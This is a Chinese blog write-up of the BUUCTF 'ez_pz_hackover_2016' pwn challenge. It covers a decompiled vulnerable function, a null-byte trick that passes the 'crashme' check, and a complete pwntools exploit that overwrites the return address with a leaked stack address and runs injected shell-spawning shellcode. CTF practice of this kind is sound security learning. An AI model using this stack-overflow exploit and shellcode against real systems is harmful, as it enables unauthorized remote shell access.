• BUUCTF-ez_pz_hackover_2016


    checksec

    IDA

    chall

    1. int chall()
    2. {
    3. size_t v0; // eax
    4. int result; // eax
    5. char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
    6. _BYTE *v3; // [esp+40Ch] [ebp-Ch]
    7. printf("Yippie, lets crash: %p\n", s);
    8. printf("Whats your name?\n");
    9. printf("> ");
    10. fgets(s, 1023, stdin);
    11. v0 = strlen(s);
    12. v3 = memchr(s, 10, v0);
    13. if ( v3 )
    14. *v3 = 0;
    15. printf("\nWelcome %s!\n", s);
    16. result = strcmp(s, "crashme");
    17. if ( !result )
    18. return vuln((char)s, 0x400u);
    19. return result;
    20. }

     C 库函数 - strcmp()
    C 库函数 int strcmp(const char *str1, const char *str2) 把 str1 所指向的字符串和 str2 所指向的字符串进行比较。

    1. int strcmp(const char *str1, const char *str2)
    2. 当s1
    3. 当s1==s2时,返回值= 0
    4. 当s1>s2时,返回正数 注意不是1

    strcmp只能比较字符串,比较数组和字符串常量,不能比较数字等其他形式的参数。
    两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止
    strcmp的返回值可控,传入空字符串即可

    strlen同样遇0截断

    将第一个参数长度n的内容复制到dest缓冲区

    s中拷贝0x400个字节到dest中

    很明显的栈溢出

    绕过前面两个函数,成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制

    程序打印出来s的地址,因此只要知道s缓冲区和shellcode地址的相对偏移量,就可确定shellcode地址

     动调确定其位置

    ennnnnn

    用gdb动调b下断点不太行了

     其它师傅们脚本都可以动调,我试验都退出了,动调不了确定不下位置,之后学习再补充

    EXP

    1. #coding=utf-8
    2. #!/usr/bin/env python
    3. from pwn import * #导入pwntools中的pwn包的所有内容
    4. context.terminal = ['terminator','-x','sh','-c']
    5. context.log_level='debug'
    6. p=remote("node4.buuoj.cn",26580)
    7. # p=process('./ez_pz_hackover_2016')
    8. # gdb.attach(p)
    9. # gdb.attach(p,'b *0x8048600')
    10. p.recvuntil('crash: ')
    11. stack_addr=int(p.recv(10),16)#接收s栈地址
    12. log.success('stack_addr==>'+hex(stack_addr))
    13. payload = 'crashme\x00' + 'a'*(0x16-8+4) # 前面的crashme\x00绕过if判断
    14. payload += p32(stack_addr-0x1c) # 返回地址位置,随意填充数据
    15. payload += asm(shellcraft.sh()) #利用pwntools自动生成
    16. p.sendline(payload)
    17. # pause()
    18. p.interactive()

  • 相关阅读:
    码蹄集 - MT2065 - 整数大小比较
    webrtc H265 网页播放器迈向实用第一步
    Dear ImGui的UE5.3集成实践
    Python中lambda函数&eval()函数&递归的详细用法
    Python数据分析案例51——基于K均值的客户聚类分析可视化
    单播以及多播的书写实验
    接入国家能源平台MQTT应用案例
    Hyper-V 虚拟机CentOS配置网络(三)
    SpringSecurity + JWT(前后端分离)
    【openGauss】在windows中使用容器化的mogeaver
  • 原文地址:https://blog.csdn.net/arraylocalhost/article/details/128055176